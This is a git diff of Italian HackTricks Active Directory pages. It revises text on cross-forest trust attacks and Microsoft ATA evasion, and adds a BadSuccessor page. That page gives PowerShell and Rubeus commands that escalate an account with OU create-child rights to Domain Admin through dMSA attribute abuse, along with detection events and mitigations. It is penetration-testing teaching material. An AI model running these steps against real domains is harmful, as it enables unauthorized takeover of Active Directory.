- **Liste di Controllo degli Accessi (ACL)**: I principali potrebbero essere specificati in un **ACL**, in particolare come entità in **ACE** all'interno di un **DACL**, fornendo loro accesso a risorse specifiche. Per coloro che desiderano approfondire la meccanica delle ACL, DACL e ACE, il whitepaper intitolato “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” è una risorsa preziosa.
|
||||
|
||||
### Trova utenti/gruppi esterni con permessi
|
||||
|
||||
@ -610,19 +610,19 @@ Esegui l'escalation come amministratore dell'Enterprise nel dominio child/parent
|
||||
sid-history-injection.md
|
||||
{{#endref}}
|
||||
|
||||
#### Sfruttare il Configuration NC scrivibile
|
||||
#### Sfruttare la Configurazione NC scrivibile
|
||||
|
||||
Comprendere come il Configuration Naming Context (NC) possa essere sfruttato è cruciale. Il Configuration NC funge da repository centrale per i dati di configurazione in ambienti Active Directory (AD) attraverso una foresta. Questi dati vengono replicati a ogni Domain Controller (DC) all'interno della foresta, con DC scrivibili che mantengono una copia scrivibile del Configuration NC. Per sfruttare questo, è necessario avere **privilegi SYSTEM su un DC**, preferibilmente un DC child.
|
||||
Comprendere come la Configurazione Naming Context (NC) possa essere sfruttata è cruciale. La Configurazione NC funge da repository centrale per i dati di configurazione in ambienti Active Directory (AD) attraverso una foresta. Questi dati vengono replicati a ogni Domain Controller (DC) all'interno della foresta, con DC scrivibili che mantengono una copia scrivibile della Configurazione NC. Per sfruttare questo, è necessario avere **privilegi SYSTEM su un DC**, preferibilmente un DC child.
|
||||
|
||||
**Collegare GPO al sito root DC**
|
||||
|
||||
Il contenitore Sites del Configuration NC include informazioni sui siti di tutti i computer uniti al dominio all'interno della foresta AD. Operando con privilegi SYSTEM su qualsiasi DC, gli attaccanti possono collegare GPO ai siti root DC. Questa azione compromette potenzialmente il dominio root manipolando le politiche applicate a questi siti.
|
||||
Il contenitore Siti della Configurazione NC include informazioni sui siti di tutti i computer uniti al dominio all'interno della foresta AD. Operando con privilegi SYSTEM su qualsiasi DC, gli attaccanti possono collegare GPO ai siti root DC. Questa azione compromette potenzialmente il dominio root manipolando le politiche applicate a questi siti.
|
||||
|
||||
Per informazioni approfondite, si può esplorare la ricerca su [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
|
||||
**Compromettere qualsiasi gMSA nella foresta**
|
||||
|
||||
Un vettore d'attacco coinvolge il targeting di gMSA privilegiati all'interno del dominio. La chiave KDS Root, essenziale per calcolare le password delle gMSA, è memorizzata all'interno del Configuration NC. Con privilegi SYSTEM su qualsiasi DC, è possibile accedere alla chiave KDS Root e calcolare le password per qualsiasi gMSA nella foresta.
|
||||
Un vettore d'attacco coinvolge il targeting di gMSA privilegiati all'interno del dominio. La chiave KDS Root, essenziale per calcolare le password delle gMSA, è memorizzata all'interno della Configurazione NC. Con privilegi SYSTEM su qualsiasi DC, è possibile accedere alla chiave KDS Root e calcolare le password per qualsiasi gMSA nella foresta.
|
||||
|
||||
Un'analisi dettagliata e una guida passo-passo possono essere trovate in:
|
||||
|
||||
@ -630,7 +630,13 @@ Un'analisi dettagliata e una guida passo-passo possono essere trovate in:
|
||||
golden-dmsa-gmsa.md
|
||||
{{#endref}}
|
||||
|
||||
Ricerca esterna aggiuntiva: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
Attacco MSA delegato complementare (BadSuccessor – abuso degli attributi di migrazione):
|
||||
|
||||
{{#ref}}
|
||||
badsuccessor-dmsa-migration-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
Ulteriore ricerca esterna: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
**Attacco di modifica dello schema**
|
||||
|
||||
@ -640,7 +646,7 @@ Ulteriori letture sono disponibili su [Schema Change Trust Attacks](https://impr
|
||||
|
||||
**Da DA a EA con ADCS ESC5**
|
||||
|
||||
La vulnerabilità ADCS ESC5 mira al controllo sugli oggetti della Public Key Infrastructure (PKI) per creare un modello di certificato che consente l'autenticazione come qualsiasi utente all'interno della foresta. Poiché gli oggetti PKI risiedono nel Configuration NC, compromettere un DC child scrivibile consente l'esecuzione di attacchi ESC5.
|
||||
La vulnerabilità ADCS ESC5 mira al controllo sugli oggetti di Public Key Infrastructure (PKI) per creare un modello di certificato che consente l'autenticazione come qualsiasi utente all'interno della foresta. Poiché gli oggetti PKI risiedono nella Configurazione NC, compromettere un DC child scrivibile consente l'esecuzione di attacchi ESC5.
|
||||
|
||||
Maggiori dettagli su questo possono essere letti in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenari privi di ADCS, l'attaccante ha la capacità di impostare i componenti necessari, come discusso in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
@ -655,7 +661,7 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
In questo scenario **il tuo dominio è fidato** da un dominio esterno che ti concede **permessi indeterminati** su di esso. Dovrai scoprire **quali principi del tuo dominio hanno accesso su quale dominio esterno** e poi cercare di sfruttarlo:
|
||||
In questo scenario **il tuo dominio è fidato** da uno esterno che ti concede **permessi indeterminati** su di esso. Dovrai scoprire **quali principi del tuo dominio hanno accesso su quale dominio esterno** e poi cercare di sfruttarlo:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
@ -694,13 +700,13 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **Filtraggio SID:**
|
||||
|
||||
- Il rischio di attacchi che sfruttano l'attributo della cronologia SID attraverso le fiducie tra foreste è mitigato dal Filtraggio SID, che è attivato per impostazione predefinita su tutte le fiducie inter-foresta. Questo è supportato dall'assunzione che le fiducie intra-foresta siano sicure, considerando la foresta, piuttosto che il dominio, come il confine di sicurezza secondo la posizione di Microsoft.
|
||||
- Il rischio di attacchi che sfruttano l'attributo della cronologia SID attraverso le fiducie delle foreste è mitigato dal Filtraggio SID, che è attivato per impostazione predefinita su tutte le fiducie inter-foresta. Questo è supportato dall'assunzione che le fiducie intra-foresta siano sicure, considerando la foresta, piuttosto che il dominio, come il confine di sicurezza secondo la posizione di Microsoft.
|
||||
- Tuttavia, c'è un problema: il filtraggio SID potrebbe interrompere le applicazioni e l'accesso degli utenti, portando alla sua disattivazione occasionale.
|
||||
|
||||
### **Autenticazione Selettiva:**
|
||||
|
||||
- Per le fiducie inter-foresta, l'uso dell'Autenticazione Selettiva garantisce che gli utenti delle due foreste non siano autenticati automaticamente. Invece, sono necessarie autorizzazioni esplicite affinché gli utenti accedano ai domini e ai server all'interno del dominio o della foresta fidante.
|
||||
- È importante notare che queste misure non proteggono contro lo sfruttamento del Contesto di Nominazione di Configurazione (NC) scrivibile o attacchi all'account di fiducia.
|
||||
- Per le fiducie inter-foresta, l'uso dell'Autenticazione Selettiva garantisce che gli utenti delle due foreste non siano autenticati automaticamente. Invece, sono necessarie autorizzazioni esplicite per gli utenti per accedere ai domini e ai server all'interno del dominio o della foresta fidante.
|
||||
- È importante notare che queste misure non proteggono contro lo sfruttamento del Contesto di Nominazione di Configurazione scrivibile (NC) o attacchi all'account di fiducia.
|
||||
|
||||
[**Ulteriori informazioni sulle fiducie di dominio in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
@ -718,22 +724,22 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
|
||||
- **Restrizioni per gli Amministratori di Dominio**: Si raccomanda che gli Amministratori di Dominio possano accedere solo ai Controller di Dominio, evitando il loro utilizzo su altri host.
|
||||
- **Privilegi degli Account di Servizio**: I servizi non dovrebbero essere eseguiti con privilegi di Amministratore di Dominio (DA) per mantenere la sicurezza.
|
||||
- **Limitazione Temporale dei Privilegi**: Per compiti che richiedono privilegi DA, la loro durata dovrebbe essere limitata. Questo può essere ottenuto con: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
- **Limitazione Temporale dei Privilegi**: Per i compiti che richiedono privilegi DA, la loro durata dovrebbe essere limitata. Questo può essere ottenuto con: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **Implementazione di Tecniche di Inganno**
|
||||
|
||||
- L'implementazione dell'inganno comporta la creazione di trappole, come utenti o computer esca, con caratteristiche come password che non scadono o sono contrassegnate come Fidate per Delegazione. Un approccio dettagliato include la creazione di utenti con diritti specifici o l'aggiunta a gruppi ad alta privilegio.
|
||||
- Implementare l'inganno implica impostare trappole, come utenti o computer esca, con caratteristiche come password che non scadono o sono contrassegnate come Fidate per Delegazione. Un approccio dettagliato include la creazione di utenti con diritti specifici o l'aggiunta a gruppi ad alto privilegio.
|
||||
- Un esempio pratico prevede l'uso di strumenti come: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- Maggiori informazioni sull'implementazione di tecniche di inganno possono essere trovate in [Deploy-Deception su GitHub](https://github.com/samratashok/Deploy-Deception).
|
||||
|
||||
### **Identificazione dell'Inganno**
|
||||
|
||||
- **Per Oggetti Utente**: Indicatori sospetti includono ObjectSID atipico, accessi infrequenti, date di creazione e bassi conteggi di password errate.
|
||||
- **Per Oggetti Utente**: Indicatori sospetti includono ObjectSID atipico, accessi infrequenti, date di creazione e conteggi di password errate bassi.
|
||||
- **Indicatori Generali**: Confrontare gli attributi di potenziali oggetti esca con quelli di oggetti genuini può rivelare incongruenze. Strumenti come [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) possono aiutare a identificare tali inganni.
|
||||
|
||||
### **Evasione dei Sistemi di Rilevamento**
|
||||
### **Evitare i Sistemi di Rilevamento**
|
||||
|
||||
- **Evasione della Rilevazione di Microsoft ATA**:
|
||||
- **Bypass della Rilevazione di Microsoft ATA**:
|
||||
- **Enumerazione degli Utenti**: Evitare l'enumerazione delle sessioni sui Controller di Dominio per prevenire la rilevazione da parte di ATA.
|
||||
- **Impersonificazione del Ticket**: Utilizzare chiavi **aes** per la creazione di ticket aiuta a evitare la rilevazione non degradando a NTLM.
|
||||
- **Attacchi DCSync**: È consigliato eseguire da un non-Controller di Dominio per evitare la rilevazione da parte di ATA, poiché l'esecuzione diretta da un Controller di Dominio attiverà avvisi.
|
||||
|
||||
@ -0,0 +1,101 @@
|
||||
# BadSuccessor: Privilege Escalation via Delegated MSA Migration Abuse
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Panoramica
|
||||
|
||||
Gli Account di Servizio Gestiti Delegati (**dMSA**) sono il successore di nuova generazione degli **gMSA** che verranno inclusi in Windows Server 2025. Un flusso di lavoro di migrazione legittimo consente agli amministratori di sostituire un account *vecchio* (utente, computer o account di servizio) con un dMSA preservando in modo trasparente i permessi. Il flusso di lavoro è esposto tramite cmdlet PowerShell come `Start-ADServiceAccountMigration` e `Complete-ADServiceAccountMigration` e si basa su due attributi LDAP dell'**oggetto dMSA**:
|
||||
|
||||
* **`msDS-ManagedAccountPrecededByLink`** – *DN link* all'account superato (vecchio).
|
||||
* **`msDS-DelegatedMSAState`** – stato di migrazione (`0` = nessuno, `1` = in corso, `2` = *completato*).
|
||||
|
||||
Se un attaccante può creare **qualsiasi** dMSA all'interno di un OU e manipolare direttamente quei 2 attributi, LSASS e il KDC tratteranno il dMSA come un *successore* dell'account collegato. Quando l'attaccante si autentica successivamente come dMSA **eredita tutti i privilegi dell'account collegato** – fino a **Domain Admin** se l'account Administrator è collegato.
|
||||
|
||||
Questa tecnica è stata coniata **BadSuccessor** da Unit 42 nel 2025. Al momento della scrittura **non è disponibile alcuna patch di sicurezza**; solo il rafforzamento dei permessi dell'OU mitiga il problema.
|
||||
|
||||
### Prerequisiti per l'attacco
|
||||
|
||||
1. Un account che è *autorizzato* a creare oggetti all'interno di **un'Unità Organizzativa (OU)** *e* ha almeno uno dei seguenti:
|
||||
* `Create Child` → **`msDS-DelegatedManagedServiceAccount`** classe di oggetti
|
||||
* `Create Child` → **`All Objects`** (creazione generica)
|
||||
2. Connettività di rete a LDAP e Kerberos (scenario standard di dominio unito / attacco remoto).
|
||||
|
||||
## Enumerazione delle OU vulnerabili
|
||||
|
||||
Unit 42 ha rilasciato uno script di supporto PowerShell che analizza i descrittori di sicurezza di ciascuna OU e evidenzia le ACE richieste:
|
||||
```powershell
|
||||
Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local
|
||||
```
|
||||
Sotto il cofano, lo script esegue una ricerca LDAP paginata per `(objectClass=organizationalUnit)` e controlla ogni `nTSecurityDescriptor` per
|
||||
|
||||
* `ADS_RIGHT_DS_CREATE_CHILD` (0x0001)
|
||||
* `Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8` (classe oggetto *msDS-DelegatedManagedServiceAccount*)
|
||||
|
||||
## Passi di Sfruttamento
|
||||
|
||||
Una volta identificato un OU scrivibile, l'attacco è a solo 3 scritture LDAP di distanza:
|
||||
```powershell
|
||||
# 1. Create a new delegated MSA inside the delegated OU
|
||||
New-ADServiceAccount -Name attacker_dMSA \
|
||||
-DNSHostName host.contoso.local \
|
||||
-Path "OU=DelegatedOU,DC=contoso,DC=com"
|
||||
|
||||
# 2. Point the dMSA to the target account (e.g. Domain Admin)
|
||||
Set-ADServiceAccount attacker_dMSA -Add \
|
||||
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}
|
||||
|
||||
# 3. Mark the migration as *completed*
|
||||
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}
|
||||
```
|
||||
Dopo la replicazione, l'attaccante può semplicemente **logon** come `attacker_dMSA$` o richiedere un TGT Kerberos – Windows costruirà il token dell'account *superseded*.
|
||||
|
||||
### Automazione
|
||||
|
||||
Diverse PoC pubbliche racchiudono l'intero flusso di lavoro, inclusi il recupero della password e la gestione dei ticket:
|
||||
|
||||
* SharpSuccessor (C#) – [https://github.com/logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor)
|
||||
* BadSuccessor.ps1 (PowerShell) – [https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
|
||||
* Modulo NetExec – `badsuccessor` (Python) – [https://github.com/Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
|
||||
|
||||
### Post-Exploitation
|
||||
```powershell
|
||||
# Request a TGT for the dMSA and inject it (Rubeus)
|
||||
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
|
||||
Rubeus ptt /ticket:<Base64TGT>
|
||||
|
||||
# Access Domain Admin resources
|
||||
dir \\DC01\C$
|
||||
```
|
||||
## Rilevamento e Caccia
|
||||
|
||||
Abilita **Audit degli Oggetti** su OUs e monitora i seguenti Eventi di Sicurezza di Windows:
|
||||
|
||||
* **5137** – Creazione dell'oggetto **dMSA**
|
||||
* **5136** – Modifica di **`msDS-ManagedAccountPrecededByLink`**
|
||||
* **4662** – Modifiche specifiche agli attributi
|
||||
* GUID `2f5c138a-bd38-4016-88b4-0ec87cbb4919` → `msDS-DelegatedMSAState`
|
||||
* GUID `a0945b2b-57a2-43bd-b327-4d112a4e8bd1` → `msDS-ManagedAccountPrecededByLink`
|
||||
* **2946** – Emissione TGT per il dMSA
|
||||
|
||||
Correlare `4662` (modifica dell'attributo), `4741` (creazione di un account computer/servizio) e `4624` (accesso successivo) evidenzia rapidamente l'attività di BadSuccessor. Le soluzioni XDR come **XSIAM** forniscono query pronte all'uso (vedi riferimenti).
|
||||
|
||||
## Mitigazione
|
||||
|
||||
* Applica il principio del **minimo privilegio** – delega la gestione degli *Account di Servizio* solo a ruoli fidati.
|
||||
* Rimuovi `Create Child` / `msDS-DelegatedManagedServiceAccount` da OUs che non lo richiedono esplicitamente.
|
||||
* Monitora gli ID evento elencati sopra e invia avvisi su identità *non-Tier-0* che creano o modificano dMSA.
|
||||
|
||||
## Vedi anche
|
||||
|
||||
{{#ref}}
|
||||
golden-dmsa-gmsa.md
|
||||
{{#endref}}
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [Unit42 – Quando i Buoni Account Diventano Cattivi: Sfruttare gli Account di Servizio Gestiti Delegati](https://unit42.paloaltonetworks.com/badsuccessor-attack-vector/)
|
||||
- [SharpSuccessor PoC](https://github.com/logangoins/SharpSuccessor)
|
||||
- [BadSuccessor.ps1 – Collezione di Strumenti per Pentest](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
|
||||
- [Modulo BadSuccessor di NetExec](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/badsuccessor.py)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user